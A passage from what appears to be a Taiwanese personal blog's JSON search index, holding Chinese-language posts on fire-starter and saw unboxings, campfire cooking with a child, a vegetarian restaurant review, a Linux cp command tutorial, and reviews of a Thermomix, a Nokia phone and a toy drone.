芬蘭北歐直刀"},{"content":"本篇是鎂塊打火棒與一般普通打火棒的簡單開箱與測試文，讓小朋友體驗比較原始的生火方式。\n前陣子帶著阿玄在自家田裡生火野炊，讓他學會蒐集柴火之後，接著就安排練習生火，打火棒是在野外生火最可靠的設備之一，打火棒就算泡過水也是可以正常使用，所以上網買了幾隻便宜的鎂塊打火棒與一般普通打火棒，先試用看看。\n這種一般打火棒與鎂塊打火棒價格都很便宜，在網路上買的話，一隻大概只有五六十塊錢，所以我先買了三種不同款式的，左邊兩隻是一般打火棒（只差在握把材質不同），而最右邊的則是鎂塊打火棒。\n打火石有不同的配方，其組成不一，但主要成份還是稀土金屬及鐵，添加少量鎂鋅銅等多種元素組成的合金，而鎂塊打火棒只是一般的打火棒加上一塊鎂塊而已，打火棒本身都是一樣的東西。\n以下是讓小朋友嘗試使用打火棒生火的影片，第一次使用的小朋友通常都很興奮。\n這是兩隻不同款式的一般打火棒，通常打火棒都會附贈一隻刮片，刮片就是一片金屬片，材質要夠硬，刮出來的火花才會比較大，有些人會自己準備高速鋼的鋸片當作刮片使用，或是拿便宜的刀子來刮也可以。\n新的打火棒表面有一層黑色的漆，使用之前要先把表層的漆刮掉。\n只要施力的方式正確，小朋友也可以輕鬆刮出很大的火花。\n若身邊沒有適合的火絨，可以拿一張衛生紙當成火絨使用，只要環境不潮溼，打火棒要點燃衛生紙都很容易。\n這是鎂塊打火棒的鎂塊（打火棒已經掉了），這整塊都是鎂。\n若要使用鎂塊生火，可先用刮片從鎂塊上刮下一些鎂粉。\n這是被我們刮掉一些鎂粉的鎂塊。\n刮下來的鎂屑大概會像這樣。\n這些鎂屑只要遇到火花就會引燃，可以讓生火的難度降低許多。\n接著以打火棒刮出火花引燃鎂屑即可。\n通常我們會把鎂屑直接刮在乾草上面，這樣就可以直接引燃乾草。\n這是今天新買的打火棒，讓小朋友玩了一天之後的樣子，打火棒的表面都磨到凹下去了。\n","permalink":"https://blog.gtwang.org/unboxing/magnesium-fire-starter-20220213/","summary":"\u003cp\u003e本篇是鎂塊打火棒與一般普通打火棒的簡單開箱與測試文，讓小朋友體驗比較原始的生火方式。\u003c/p\u003e\n\u003cp\u003e前陣子\u003ca href=\"/diy/diy-campfire-boiled-egg-red-bean-soup-20220201/\"\u003e帶著阿玄在自家田裡生火野炊\u003c/a\u003e，讓他學會蒐集柴火之後，接著就安排練習生火，打火棒是在野外生火最可靠的設備之一，打火棒就算泡過水也是可以正常使用，所以上網買了幾隻便宜的鎂塊打火棒與一般普通打火棒，先試用看看。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這種一般打火棒與鎂塊打火棒價格都很便宜，在網路上買的話，一隻大概只有五六十塊錢，所以我先買了三種不同款式的，左邊兩隻是一般打火棒（只差在握把材質不同），而最右邊的則是鎂塊打火棒。\u003c/p\u003e","title":"[開箱] 一般打火棒、鎂塊打火棒"},{"content":"本篇為瑞典 BAHCO 396-Lap 魚牌軍規摺疊鋸的剪開開箱文，以及基本的使用測試。\n在野外若要砍樹，通常會用的工具是斧頭或鋸子，而鋸子又比斧頭輕便很多，所以上山的時候我都會常備一把鋸子在身上。\n以前舊的鋸子是我在五金行隨便買的，用的好幾年也生鏽了，想換一把新的摺疊鋸，而上網查了一下，感覺瑞典的 BAHCO 396-Lap 魚牌軍規摺疊感覺很不錯，國外 bushcraft 玩家也都常用這一把，價格大約一千出頭而已，比起刀子便宜很多，所以就直接下訂了。\n瑞典 BAHCO 396-Lap 魚牌軍規摺疊鋸是一把推出超過二十年的經典戶外摺疊鋸，重量輕、好攜帶，不僅受 bushcraft 玩家青睞，更是歐美特種部隊的公發裝備，同事也通過 NATO 認證，NSN 編號為 5110-25-147-4344。\n握柄的部分為防滑材質，增加摩擦力與握感，並附有真皮皮繩，提升質感且方便攜帶拿取。鋼材為瑞典鋸片鋼，鋸片有特殊塗層，防銹減少摩擦力，並有安全鈕，可防止鋸片攜帶時不小心打開。\n這把瑞典的 BAHCO 396-Lap 魚牌軍規摺疊鋸收起來的長度是 23 公分，展開的長度是 40.6 公分，重量只有 180 公克，攜帶非常方便。鋸片長度為 18.5 公分，齒數則為每英吋 7 齒，鋸片是可替換的，如果鈍了可以單買鋸片來更換。\n這一把新的 BAHCO 396-Lap 摺疊鋸跟我舊的摺疊鋸比較起來，稍微短一些，攜帶更方便。\n這是拆開包裝的紙板之後，折合的樣子，只有 23 公分長，上山的時候隨身帶著很方便。\n這是另外一面。\n摺疊鋸上有一個安全鈕，按下之後才能打開或收合鋸片。\n這是打開鋸片的樣子。\n我找了一根直徑大約 8 公分的樹幹來測試一下新的摺疊鋸。\n剛開始會擔心換了短一點的鋸子，遇到粗的樹幹不好鋸，不過看起來也還好，對於直徑 10 公分以下的樹幹都沒問題。\n這是鋸完樹幹的摺疊鋸。\n這一把摺疊鋸的齒數則為每英吋 7 齒，鋸齒比舊的鋸子還要大，鋸木頭的速度比較快（也要稍微出比較大的力）。\n這把瑞典的 BAHCO 396-Lap 魚牌摺疊鋸在長度與齒數的設計上都很不錯，適合上山時隨身攜帶。\n","permalink":"https://blog.gtwang.org/unboxing/bahco-396-lap-laplander-folding-saw-20220213/","summary":"\u003cp\u003e本篇為瑞典 BAHCO 396-Lap 魚牌軍規摺疊鋸的剪開開箱文，以及基本的使用測試。\u003c/p\u003e\n\u003cp\u003e在野外若要砍樹，通常會用的工具是斧頭或鋸子，而鋸子又比斧頭輕便很多，所以上山的時候我都會常備一把鋸子在身上。\u003c/p\u003e","title":"[開箱] 瑞典 BAHCO 396-Lap 魚牌軍規摺疊鋸"},{"content":"本篇記錄今年過年期間帶阿玄在家裡生火野炊，自己煮水煮蛋、紅豆湯的過程。\n去年讓阿玄製作吹火筒，體驗生火之後，阿玄就一直想要在玩一次生火野炊，去年一整年都沒有機會，直到今年過年的除夕與大年初一，才有機會再玩一次。\n整個過程大部分都是用相機照相，少部分用錄影，以下這個是把各錄影片段接起來的影片。\n野炊水煮蛋 今年過年期間，新竹天氣都不是很好，除夕下午剛好有半天的好天氣，就先做一支炊火筒，讓阿玄生火，順便煮一鍋水煮蛋。\n開始生火之前，要先準備一些可以用來製作吹火筒的竹子，以及可以用來燒的柴，乾燥的竹子就非常適合，阿玄扛了一根長竹竿很興奮。\n竹子搬回來之後，先用鋸子鋸下一小段，用來製作吹火筒，剩下的拿來當柴燒。\n鋸下來之後，用柴刀修一下竹節。\n因為吹火筒是要用手拿的，所以竹節部分要修乾淨，否則小朋友在拿的時候會刺到手。\n使用電鑽打洞。\n只需要在一端打一個小洞即可。\n用鋼筋把其餘的竹節都打通，讓空氣可以通過。\n打通竹節的時候，不需要把竹節敲得很乾淨，只需要有洞讓空氣能夠通過即可。\n吹火筒準備好之後，找乾草與乾樹枝，準備生火。\n這次我們使用普通的打火機來生火。\n這次的環境很乾燥，所以乾草一點就著，沒什麼困難。\n有了去年使用吹火筒的經驗，阿玄現在對於吹火已經非常熟練了。\n在生火的時候，我們家的小黑也在旁邊看。\n火生的差不多，就可以搭吊鍋架了，剛好我們這裡有許多沒用的鋼筋，所以就用鋼筋來搭\b。\n然後用一個沒在使用的提鍋，裝一些水放幾顆蛋，嘗試煮水煮蛋。\n這次野炊主要讓阿玄學習添柴火、維持火源，體驗粗的柴與細的柴燒起來的差別。\n水煮蛋很快就煮好了，也不太容易失敗。\n野炊紅豆湯 第二天早上也是好天氣，打算來者一鍋紅豆湯。\n紅豆洗好之後，就直接放進來，不需要泡。\n跟前一天一樣用鋼筋架好鍋子。\n去附近扛一些可以燒的柴。\n用鋸子把一些較長的粗枝鋸成小段，比較方便燒，順便讓阿玄練習用鋸子與柴刀。\n木頭用鋸子鋸，而竹子就用柴刀劈。\n柴都準備好之後，就可以生火了。\n跟前一天一樣用打火機點火。\n接著用炊火筒把火生大一點。\n火生起來之後，就讓它慢慢燒，紅豆湯大約需要煮一個多小時左右。\n今天也教阿玄去收集細樹枝，綁成一綑方便生火的時候使用。\n阿玄在野炊的時候，我們家的小黑都在旁邊看。\n經過了一小時多的燉煮，一鍋紅豆湯就完成了。\n","permalink":"https://blog.gtwang.org/diy/diy-campfire-boiled-egg-red-bean-soup-20220201/","summary":"\u003cp\u003e本篇記錄今年過年期間帶阿玄在家裡生火野炊，自己煮水煮蛋、紅豆湯的過程。\u003c/p\u003e\n\u003cp\u003e去年讓阿玄\u003ca href=\"/diy/diy-making-fire-blower-with-bamboo-20210220/\"\u003e製作吹火筒\u003c/a\u003e，體驗生火之後，阿玄就一直想要在玩一次生火野炊，去年一整年都沒有機會，直到今年過年的除夕與大年初一，才有機會再玩一次。\u003c/p\u003e\n\u003cp\u003e整個過程大部分都是用相機照相，少部分用錄影，以下這個是把各錄影片段接起來的影片。\u003c/p\u003e","title":"[DIY] 野炊水煮蛋、紅豆湯記錄"},{"content":"本篇是我最近去竹北善菓堂用餐時，用 iPhone 手機拍得一些照片與用餐紀錄。\n今年因為疫情因素很少出差，最近疫情比較緩和，趁著有機會出差去新竹的時候，跟同事去竹北莊敬南路上的這一家善菓堂用餐，因為這次是真的來吃飯的，沒帶單眼相機，只用手機加減拍些照片，記錄一下這一家值得推薦的素食餐廳。\n店名：善菓堂 SHAN GUO TANG\n地址：新竹縣竹北市莊敬南路 188 號 1 樓(道禾實驗學校旁)\n營業時間：中午 11:30–14:30\n晚上 17:30–21:00\n電話：(03) 667-5955\n網站：官方網站、facebook 粉絲專頁\n善菓堂位於莊敬南路與文興路交叉口，因為一邊走一邊聊天，連大門口都忘記要拍照，所以若想看門外的樣子，請參考 Google 地圖。\n善菓堂內部的用餐空間很寬敞，在這裡用餐很舒服。\n這是善菓堂所提供的餐具。\n這是一壺普洱茶。\n雙人套餐的價格是 1,280 元，加上服務費以及普洱茶的話，兩個人吃一餐下來，大約是快要一千五百元左右。\n菜單中有畫線的部分是我們這次點的菜色，以下是各種餐點的照片，因為顧著吃飯聊天，所以不是很確定每道菜的名稱對應。\n整體而言，善菓堂是一間不錯的餐廳，菜色都很不錯，而口味則是客家的風格（稍鹹），用餐環境舒適，對於正式的聚餐來說，這裡是非常推薦的地點，不過就是價位稍微高了一點。\n","permalink":"https://blog.gtwang.org/life/shan-guo-tang-vegetarian-restaurant-zhubei-20211227/","summary":"\u003cp\u003e本篇是我最近去竹北善菓堂用餐時，用 iPhone 手機拍得一些照片與用餐紀錄。\u003c/p\u003e\n\u003cp\u003e今年因為疫情因素很少出差，最近疫情比較緩和，趁著有機會出差去新竹的時候，跟同事去竹北莊敬南路上的這一家善菓堂用餐，因為這次是真的來吃飯的，沒帶單眼相機，只用手機加減拍些照片，記錄一下這一家值得推薦的素食餐廳。\u003c/p\u003e","title":"[竹北素食] 善菓堂 SHAN GUO TANG"},{"content":"本篇介紹如何在 Linux 系統下使用 cp 指令複製檔案或目錄，並提供常見的使用範例。\n在 Linux 系統之中若要進行檔案或目錄的複製，可以使用 cp 指令，而除了簡單的複製檔案之外，此指令也具有額外的建立連結、自動備份等附加功能，以下是 cp 指令的使用方式介紹。\n複製檔案 若要將 source.txt 檔案複製一份到 dest.txt，可以執行：\n# 將 source.txt 複製到 dest.txt cp source.txt dest.txt 若要將 source.txt 複製到其他目錄之下，可以指定絕對路徑：\n# 將 source.txt 複製到 /path/to/dest.txt cp source.txt /path/to/dest.txt 如果要將檔案複製到其他目錄，保持原來的檔案名稱，可以僅指定目的目錄即可，也就是說以下兩種寫法是等效的：\n# 將 source.txt 複製到 /path/to/source.txt cp source.txt /path/to/source.txt # 將 source.txt 複製到 /path/to/source.txt cp source.txt /path/to/ 亦可將多個檔案一起複製到目的目錄：\n# 將 source1.txt、source2.txt、source3.txt 複製到 /path/to 目錄中 cp source1.txt source2.txt source3.txt /path/to/ 複製目錄 如果要複製整個目錄以及該目錄下的所有子目錄與檔案，可以加上 -r 參數（或是 -R、--recursive 參數亦可），以遞迴的方式進行複製：\n# 將 myfolder 目錄複製到 /path/to/ 路徑下 cp -r myfolder /path/to/ 強制覆蓋檔案 若遇到目的檔案已存在的情況，cp 指令預設會覆蓋既有的檔案內容，但是如果目的檔案檔案無法寫入（例如檔案權限設定為唯讀），就會無法進行複製的動作。\n如果希望 cp 指令在無法寫入目的檔案時，嘗試刪除目的檔案，再重新複製一份新的檔案，可以加上 -f 或 --force 參數：\n# 強制複製檔案 cp -f source.txt dest.txt 如果希望 cp 指令在每次複製檔案前都先刪除目的檔案，再進行檔案的複製，則可加上 --remove-destination 參數：\n# 先刪除目的檔案，再進行複製 cp --remove-destination source.txt dest.txt 不要覆蓋既有檔案 如果希望 cp 指令遇到目的檔案已經存在的狀況，不要覆蓋既有的檔案，可以加上 -n 或 --no-clobber 參數：\n# 不要覆蓋既有檔案 cp -n source.txt dest.txt 另一種方式是加上 -i 或 --interactive 參數，讓 cp 在覆蓋檔案之前，先詢問使用者，經確認之後再進行覆寫：\n# 經確認後再覆寫檔案 cp -i source.txt dest.txt 自動備份檔案 若希望 cp 指令在覆蓋檔案時，可以將舊檔案自動備份起來，可以加上 -b 或 --backup 參數：\n# 自動備份檔案 cp -b source.txt dest.txt cp 指令預設會將原始檔案名稱加上 ~ 這個後綴，作為備份檔案名稱（例如 dest.txt 就會備份至 dest.txt~），若要自行指定備份檔名後綴，可以用 -S 或 --suffix 參數來更改，例如改用 .bak 作為備份檔案名稱的後綴：\n# 指定備份檔名後綴 cp -b -S .bak source.txt dest.txt 這樣 dest.txt 就會被備份至 dest.txt.bak。\n保留檔案屬性 若希望 cp 在複製檔案時，可以連同檔案屬性一起複製，可以加上 -p 或 --preserve 參數：\n# 保留檔案屬性 cp -p source.txt dest.txt 加上 -p 或 --preserve 參數預設會保留權限（mode）、擁有者（ownership）、時間戳記（timestamps），若希望更改保留的屬性種類，可以使用 --preserve 參數來指定，其餘可用的選項有 SELinux contexts（context）、連結（links）、延伸屬性（xattr）、所有屬性（all），例如：\n# 指定保留的檔案屬性 cp --preserve=mode,ownership,timestamps,xattr source.txt dest.txt 若只要複製檔案的屬性，而不要複製檔案本身的資料，可以加上 --attributes-only 參數：\n# 只複製檔案屬性 cp --attributes-only source.txt dest.txt 關於各屬性種類的說明，可以參考 File permissions and attributes。\n連結檔解析 假設我們建立一個連結檔 link.txt 指向 source.txt：\n# 建立連結檔 ln -s source.txt link.txt 如果希望 cp 指令在複製連結檔案時，能夠解析連結檔所指向的實際檔案，複製那一個實際的目標檔案，可以加上 -L 或 --dereference 參數：\n# 複製檔案（解析連結） cp -L link.txt dest.txt 由於 link.txt 是指向 source.txt 的連結檔，所以這裡的 dest.txt 實際上就是從 source.txt 所複製出來了。\n若希望 cp 指令在複製連結檔案時，不要進行連結的解析，僅將連結檔直接複製，則可改用 -P 或 --no-dereference 參數：\n# 複製檔案（保留連結） cp -P link.txt link2.txt 此處所複製出來的 link2.txt 就僅僅是一個指向 source.txt 的連結檔案。\n以軟連結、硬連結複製檔案 cp 指令若加上 -s 或 --symbolic-link 參數，可以用軟連結（symbolic link）的方式建立檔案，也就是等同於使用 ln -s 指令來建立連結：\n# 以軟連結複製檔案 cp -s source.txt link.txt 這樣建立的 link.txt 檔案就是一個指向 source.txt 的連結檔。\n若要以硬連結複製檔案，可以加上 -l 或 --link 參數：\n# 以硬連結複製檔案 cp -l source.txt dest.txt 這裡 dest.txt 的 inode 會與 source.txt 相同。\n保留來源目錄結構 若要保留來源檔案的目錄結構，可以加上 --parents 參數：\n# 保留來源目錄結構 cp --parents path/to/source.txt myfolder/ 這樣就會把 path/to/source.txt 複製到 myfolder/path/to/source.txt。\n僅更新檔案 cp 指令若加上 -u 或 --update 參數，就會自動檢查來源檔案與目的檔案的修改時間，如果來源檔案比目的檔案更新，才會更新目的檔案，否則就不做任何動作：\n# 僅更新檔案 cp -u source.txt dest.txt 參考資料 HowtoForge：Linux cp command tutorial for beginners (8 examples) GeeksforGeeks：cp command in Linux with examples ","permalink":"https://blog.gtwang.org/linux/linux-cp-command-copy-files-and-directories-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 Linux 系統下使用 \u003ccode\u003ecp\u003c/code\u003e 指令複製檔案或目錄，並提供常見的使用範例。\u003c/p\u003e\n\u003cp\u003e在 Linux 系統之中若要進行檔案或目錄的複製，可以使用 \u003ccode\u003ecp\u003c/code\u003e 指令，而除了簡單的複製檔案之外，此指令也具有額外的建立連結、自動備份等附加功能，以下是 \u003ccode\u003ecp\u003c/code\u003e 指令的使用方式介紹。\u003c/p\u003e","title":"Linux 複製檔案 cp 指令用法教學與範例"},{"content":"本篇是德國美善品 Thermomix TM6 多功能料理機的開箱文。\n我之前買過了美善品 Thermomix TM5，感覺如果用習慣，是還滿方便的，所以美善品推出 TM6 之後，又買了一台 TM6。\n美善品官方 YouTube 頻道也提供了一些開機的影片介紹，大家可以參考看看。\n目前由於疫情的因素，若要訂購美善品多功能料理機，都是透過美善品官方網站來訂購，機器直接宅配到府。\n打開外箱，首先看到的是美善品的一些說明文件。\n在這些文件中，包含說明書、出貨商品確認表、一對一售後服務問卷、產品保固卡等。\n其中比較重要的是一對一售後服務問卷，上面有敘述在收到美善品多功能料理機之後，開機時的必要步驟與注意事項。\n出貨商品確認表上面有列出美善品多功能料理機所有的配件，開箱的時候記得要核對一下。\n接下來看到的是蒸鍋組。\n這些是蒸鍋組、刮刀棒、蝴蝶棒、量杯、防濺蓋。\n接下來看到的是美善品 Thermomix TM6 的使用說明書。\n這是美善品 Thermomix TM6 的使用說明書與食譜。\n這就是美善品 Thermomix TM6 多功能料理機。\nTM6 跟上一代的 TM5 比較起來，差異比較大的是操作的觸控式面板變大了，旋鈕的造型也不太一樣。\n使用前要閱讀一下重要告知事項。\nTM6 的觸控式螢幕比 TM5 大很多，旋鈕的形狀也改變了。\nTM6 說明書 這是美善品 Thermomix TM6 多功能料理機的說明書。\nTM6 開箱與開機的步驟與注意事項，在說明書中都有寫，如果是第一次使用的人，一定要仔細看。\nTM6 內建 WiFi 連線的功能，設定方式也很直覺，而初次使用要記得更新軟體，步驟都在說明書中。\nCookidoo 是美善品的線上食譜，第一次使用之前要去 Cookidoo 網站註冊帳號，步驟也都敘述在說明書上。\nTM6 開機 將 TM6 的點源插上，開機之後，會自動打開左右兩隻固定桿。\n打開主鍋蓋，裡面還有一個網鍋。\n這是打開網鍋蓋子的樣子。\n這是主鍋與網鍋，這樣就盤點完所有的配件了。\nTM6 設定網路 基本上 TM6 的選單設計都滿直覺的，操作起來都很容易。\nStep 1\n若要設定 WiFi 無線網路，先選擇「設定」。\nStep 2\n選擇「WiFi」。\nStep 3\n選擇自己家的無線網路。\nStep 4\n輸入 WiFi 無線網路的密碼，這樣就可以進行網路連線了。\nTM6 線上更新 設定好 WiFi 無線網路之後，就可以進行 TM6 的線上軟體更新。 Step 1\n選擇「Thermomix 版本和更新」。\nStep 2\n點選「檢查更新」。\nStep 3\n點選「更新」。\nStep 4\n等待 TM6 下載更新的軟體，等待的時間會因為網路速度而有不同。\nStep 5\n下載軟體之後，會自動進行更新。整個更新流程大約需要 10 到 15 分鐘左右，這時候絕對不可以拔插頭！否則機器會損毀。\nStep 6\n繼續等待更新，這時候絕對不可以拔插頭！否則機器會損毀。\nStep 7\n回到「Thermomix 版本和更新」，重新檢查一次軟體版本。\nStep 8\n確認軟體處於最新狀態，這樣就完成軟體更新了。\n登入 Cookidoo 在使用 TM6 之前，要先參考說明書，上 Cookidoo 網站註冊一個帳號，然後再 TM6 中輸入 Cookidoo 的帳號與密碼。\nStep 1\n進入「設定」選單，接著選擇「Cookidoo 帳戶」。\nStep 2\n輸入 Cookidoo 帳號與密碼。\nStep 3\n確認 Cookidoo 帳戶資訊，這樣就完成 Cookidoo 的設定了。\nStep 4\n設定好 Cookidoo 帳戶資訊之後，就可以使用 Cookidoo 的線上食譜了。\n清洗主鍋 新的主鍋在使用之前，要先以白醋清洗過一次。\nStep 1\n準備一瓶白醋。\nStep 2\n使用 TM6 的磅秤功能。\nStep 3\n加入 250 公克的白醋。\nStep 4\n再加入 750 公克的水。\nStep 5\n使用 5 分鐘 / 50 度 / 速度 1，清洗主鍋。\nStep 6\n清洗完成後，就把醋與水倒掉，並把主鍋拆卸之後，清洗乾淨。\n清洗完成的主鍋，在使用前一定要確保底部的插頭完全乾燥，才可以進行烹煮。\n這樣就完成基本的 TM6 開機流程了，接下來就可以開始烹煮自己想要的料理囉。\n","permalink":"https://blog.gtwang.org/unboxing/thermomix-food-processor-tm6-unboxing-20210911/","summary":"\u003cp\u003e本篇是德國美善品 Thermomix TM6 多功能料理機的開箱文。\u003c/p\u003e\n\u003cp\u003e我之前買過了\u003ca href=\"/unboxing/thermomix-food-processor-tm5-unboxing-20191026/\"\u003e美善品 Thermomix TM5\u003c/a\u003e，感覺如果用習慣，是還滿方便的，所以美善品推出 TM6 之後，又買了一台 TM6。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"[開箱] 德國美善品 Thermomix TM6 多功能料理機"},{"content":"本篇是 Nokia 215 4G 經典功能型手機的簡單開箱文。\n我們家阿玄之前剛去均頭國小唸書的時候，買了一支 INO CP300 4G 手機，用到現在壞掉了，所以需要再買一支新手機。\n非智慧型的手機基本上選擇性不多，以前用 INO 的手機感覺上他的操作介面不太直覺（也許是我不習慣），所以想改換其他牌子，後來在網路上看到 Nokia 215 4G 經典復刻機，由於我以前用過 Nokia 類似款的手機，對它印象很好，所以就決定買這款手機給阿玄用，而 Nokia 215 4G 在 PChome 24 小時購物上的價格是 1,680 元。\n打開 PChome 24 小時購物的包裹。\n這是 Nokia 215 4G 手機的外盒。\n這是手機外盒的背面。\n打開外盒，這就是 Nokia 215 4G 手機。\n有附帶一條 Micro USB 傳輸線與充電器。\n這些就是 Nokia 215 4G 手機與所有配件。\n這是 Nokia 215 4G 手機的正面。\n這是 Nokia 215 4G 手機的背面。\n手機的側面沒有任何按鈕。\n手機底部是 Micro USB 的充電插孔。\n手機頂部有一個耳機插孔與手電筒。\n這是打開背蓋的樣子。\nNokia 215 4G 手機可以插一張 microSD 記憶卡，最大支援到 32GB。\nSIM 卡插槽有兩個，都是 Nano SIM 的插槽。\n第一次開機時要選擇語言。\n這是手機開機後的畫面。\n這是主選單，基本上我覺得 Nokia 的操作介面設計都還不錯，不太需要看說明書就可以使用了。\n這一支手機可以撥放音樂、聽收音機，或是當手電筒，但是沒有相機功能，不過我覺得這種價位的手機就算有相機，也不太實用，這樣的設計很不錯。\n","permalink":"https://blog.gtwang.org/unboxing/nokia-215-4g-phone-20210907/","summary":"\u003cp\u003e本篇是 Nokia 215 4G 經典功能型手機的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e我們家阿玄之前剛去均頭國小唸書的時候，\u003ca href=\"/unboxing/ino-cp300-4g-mobile-phone/\"\u003e買了一支 INO CP300 4G 手機\u003c/a\u003e，用到現在壞掉了，所以需要再買一支新手機。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"[開箱] Nokia 215 4G 經典功能型手機"},{"content":"本篇是 Holy Stone HS210 迷你遙控飛機的簡單開箱文。\n今年阿玄希望生日禮物可以買一台空拍機，但是有牌子的空拍機價格都很高，不適合給小朋友玩（大概兩三下就摔壞了），而雜牌的空拍機一千多就有，但是又擔心品質太差、不好玩，選來選去後來決定買這一款 Holy Stone HS210 迷你遙控飛機，原價 1,290 元，促銷價 1,100 元，使用折價卷之後只要一千左右，當成小朋友的生日禮物滿適合的。\n會選擇 Holy Stone 這個牌子是因為他出了非常多款小型的空拍機，其中 HS220 那一款還是美國 Amazon 銷量第一的無人機，感覺起來它們的無人機品質應該還不錯。\nHS210 是 Holy Stone 的無人機中最陽春的一款，沒有配備鏡頭，只有遙控飛行的功能，但是我感覺品質很好，很適合給第一次玩無人機的小朋友操作。\n以下是阿玄介紹 Holy Stone HS210 迷你遙控飛機的影片。\n疫情期間，上網訂購的東西都會比較慢到，我們在 momo 購物網訂了之後，等了三天。\n開箱，這是 Holy Stone HS210 迷你遙控飛機的外盒。\n這些是 Holy Stone HS210 迷你遙控飛機與所有配件，包含遙控飛機、遙控器、三個電池、充電器、葉片零件與說明書。\n這個就是 Holy Stone HS210 迷你遙控飛機。\nHoly Stone HS210 有附帶三顆電池，一顆電池大約可用 7 分鐘，三顆電池都充飽輪流使用的話，可以玩 20 分鐘。\nHoly Stone HS210 迷你遙控飛機的大小只有一個手掌大。\n這是飛機的遙控器，正面有兩個操縱桿、起飛與降落鍵、無頭模式鍵。\n遙控器前方有兩個按鍵，分別為速度切換與 360 度翻滾鍵。\n這是遙控器的背面。\n遙控器使用的電池是三顆四號電池。\n這些是 Holy Stone HS210 迷你遙控飛機的說明書、充電器與葉片零件。\n這是飛機電池專用的 USB 充電器，一次可以充兩顆電池。\n充電器上面有指示燈，紅色是代表還沒充飽，綠色則是代表充飽了，充電時間大約是 40 分鐘到一小時左右。\n這是 Holy Stone HS210 迷你遙控飛機的底部。\n將充飽電的電池安裝上去，就可以開始使用了。\n準備起飛。\nHoly Stone HS210 迷你遙控飛機在室內沒有風的環境之下，飛行非常穩定，但是如果遇到電風扇或是窗戶吹進來的風，就會受到影響，不好操控。\n整體而言，阿玄說這台 Holy Stone HS210 迷你遙控飛機很好玩，他很喜歡。\n","permalink":"https://blog.gtwang.org/unboxing/holy-stone-hs210-mini-drone-20210531/","summary":"\u003cp\u003e本篇是 Holy Stone HS210 迷你遙控飛機的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e今年阿玄希望生日禮物可以買一台空拍機，但是有牌子的空拍機價格都很高，不適合給小朋友玩（大概兩三下就摔壞了），而雜牌的空拍機一千多就有，但是又擔心品質太差、不好玩，選來選去後來決定買這一款 Holy Stone HS210 迷你遙控飛機，原價 1,290 元，促銷價 1,100 元，使用折價卷之後只要一千左右，當成小朋友的生日禮物滿適合的。\u003c/p\u003e","title":"[開箱] Holy Stone HS210 迷你遙控飛機"},{"content":"本篇記錄我用乾燥的竹子製作吹火筒過程，給阿玄當玩具玩。\n今年過年期間，讓阿玄在自己家的田裡面生火烤蕃薯與玉米，阿玄第一次生火感覺很新鮮，一直用嘴巴吹火，剛好附近有竹子，我就直接做一支簡單的小吹火筒給他玩。\n在生火的時候若有吹火筒會方便很多，這是使用吹火筒的影片。\n第一次生火的時候，阿玄一直用嘴巴來吹火，沒有吹火筒的話，這樣吹真的很累。\n我在自己家附近發現剛好有一支之前被砍下來，且已經乾燥的竹子，感覺剛好可以用來製作吹火筒。\n正常的吹火筒大約用兩節左右的竹子就夠了，我先把整支竹子鋸下來，剩下的部分留著可以做其他用途。阿玄第一次跟我在田裡面玩這些東西，心情看起來非常好。\n早上天氣很好，剛好來製作吹火筒。因為只是要做一支給阿玄當玩具的小吹火筒，所以我只取一節竹子。\n用鋸子鋸下一節竹子的時後，至少要保留其中一邊完整的竹節，接著把竹子的切口磨平，沒有砂紙的話，在水泥地上磨一下就可以了，要把竹子切口上刺刺的部分磨平，避免使用時刺到手或嘴巴。\n接著用電鑽或其他各種工具，在竹子其中一邊的竹節上打一個小洞。\n為了要讓空氣吹出的時候，風力要夠強，所以這一個洞不可以太大。\n而另外竹子的一側是吹嘴，可以直接把竹節鋸掉，或是把竹節打通。\n如果有粗的鑽頭，\b可以用粗的鑽頭把另外一側的竹節打通。\n吹嘴的部分則是要把洞打大一點，也可以直接用鐵鎚或鋼筋把竹節打掉，洞要大一點才會比較好吹氣。\n把洞打好之後，吹火筒就製作完成了，生火的時候只要發現火苗快熄了，冒白煙的時候，用吹火筒吹一下馬上火就變大了，非常方便。\n這次是阿玄第一次用吹火筒，感覺非常好玩，玩了一整個早上還不想回家。\n","permalink":"https://blog.gtwang.org/diy/diy-making-fire-blower-with-bamboo-20210220/","summary":"\u003cp\u003e本篇記錄我用乾燥的竹子製作吹火筒過程，給阿玄當玩具玩。\u003c/p\u003e\n\u003cp\u003e今年過年期間，讓阿玄在自己家的田裡面生火烤蕃薯與玉米，阿玄第一次生火感覺很新鮮，一直用嘴巴吹火，剛好附近有竹子，我就直接做一支簡單的小吹火筒給他玩。\u003c/p\u003e","title":"[DIY] 用竹子製作吹火筒教學"},{"content":"這裡示範如何線上使用高鐵會員 TGO 點數兌換商品，並前往指定門市領取兌換的商品。\n只要加入 TGO 台灣高鐵會員，在買高鐵票的時候，登入會員資訊，即可累積紅利點數（每 20 元獲贈 1 點），等累積到一定的點數之後，就可以兌換各種商品。\n以下是用高鐵會員 TGO 點數兌換商品的流程。\n線上兌換商品 Step 1\n開啟高鐵會員 TGO 點數 365 網站，點選「登入」。\nStep 2\n以自己的高鐵會員 TGO 會員帳號與密碼登入。\nStep 3\n登入之後，畫面上方會顯示目前已經累積的 TGO 